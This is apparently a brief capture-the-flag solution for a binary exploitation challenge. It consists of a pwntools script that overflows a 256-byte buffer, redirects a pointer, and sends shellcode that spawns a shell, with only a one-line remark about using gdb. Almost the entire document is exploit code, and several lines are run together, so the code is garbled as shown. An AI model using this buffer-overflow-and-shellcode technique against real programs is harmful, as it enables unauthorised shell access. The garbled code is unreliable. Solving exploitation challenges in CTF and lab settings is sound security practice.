not very complex, solve it by gdb
``` pythontarget = 0x60023c
offset = 256payload = 'A'*offsetpayload += p64(target+0x100)
# debug()p.sendafter("Data: ", payload)
sc=asm(shellcraft.sh())p.sendafter("Data: ", p64(target+0x8)+sc)```